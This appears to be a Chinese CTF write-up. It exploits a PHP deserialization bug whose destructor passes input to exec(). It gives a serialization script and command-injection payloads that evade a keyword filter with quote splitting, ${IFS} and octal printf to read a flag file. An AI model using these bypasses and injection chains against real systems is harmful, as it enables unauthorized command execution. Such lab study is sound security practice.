题目源代码:
<?php
highlight_file(__FILE__);class ease{private $method;private $args;function __construct($method, $args) {$this->method = $method;$this->args = $args;}function __destruct(){
//in_array() 使用宽松比较,只检查值是否相等
//也就是检查$this->method的值是不是pingif (in_array($this->method, array("ping"))) {
//array($this,$this->method)是一个数组,表示要执行的函数名字
//$this表示当前这个对象,组合起来形成一个数组,用于指定要调用的是当前对象的哪个方法
//也就是调用$this->method方法($this只是为了确认这个方法在哪个类里面)
//call_user_func_array()中的第二个参数也是一个数组
//会将这个数组中的元素依次作为参数传递给指定的方法。call_user_func_array(array($this, $this->method), $this->args);}} function ping($ip){exec($ip, $result);//$ip表示执行的命令,$result表示返回的结果var_dump($result);}
//waf()函数对输入进行检测function waf($str){
//以/( )/包裹,中间用|分割,第一个字符是\|表示转义,也就是过滤掉|字符if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {return $str;} else {echo "don't hack";}}function __wakeup(){
//对数组中的每个值应用 $this->waf() 方法进行处理,处理后的结果再重新赋值回原数组对应的位置foreach($this->args as $k => $v) {
//$k 是数组元素的键,$v 是数组元素的值
//在每次循环中,$k 和 $v 会分别被赋值为当前数组元素的键和值。$this->args[$k] = $this->waf($v);}}
}$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
序列化,因为ease类中执行函数的代码是__destruct(),在被反序列化后(调用waf()过滤字符),当传给他的这个类销毁的时候会自动调用__destruct()------>ping(),所以我们只需要给类里头的元素赋值就行了
<?php
class ease
{var $method;var $args;
}
$a=new ease();
$a->method='ping';
$a->args=array('l""s');//在这里插入代码
$a=serialize($a);
echo $a;
echo base64_encode($a);
?>
ls被过滤,用 l""s 绕过,也可以用反斜线绕过:l\s
提交以后看见存在flag_1s_here 文件
payload: l""s
payload: l""s${IFS}f""lag_1s_here
这里的flag_1s_here是个文件夹,不能直接用cat查看
oct(八进制)编码绕过: / 的八进制ascii编码是\57,对应的十进制是47也就是 /
payload:c""at${IFS}f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp(这里也可以使用模糊匹配:f*)
(cat flag_1s_here \flag_831b69012c67b35f.php)
如果没有过滤 ; 还可以使用 cd ..;cd ..;cd enc;cat flag
$(printf${IFS}"\57")
$(...)
是命令替换的语法,意味着先执行括号内的命令,然后将其输出结果替换到原位置。printf
是一个用于格式化输出的命令,返回值是输出字符串的个数\57
是八进制的 ASCII 码表示,对应的十进制是 47,也就是/
字符。所以$(printf${IFS}"\57")
会输出一个/
字符。
$count = printf("My name is %s and I am %d years old.", $name, $age);
echo "\n输出的字符数: ". $count;
但是这里printf()没有括号的原因:
在 shell 环境下,
printf
调用时不需要括号,不加括号是正常的命令调用方式例如,在 shell 中执行
printf "Hello, World!\n"
和printf("Hello, World!\n")
是不同的处理方式,前者是正确的 shell 命令调用方式,而后者会被当作一个普通的字符串或者命令名(如果没有定义这样的命令的话)来处理,从而可能导致错误。
拿到flag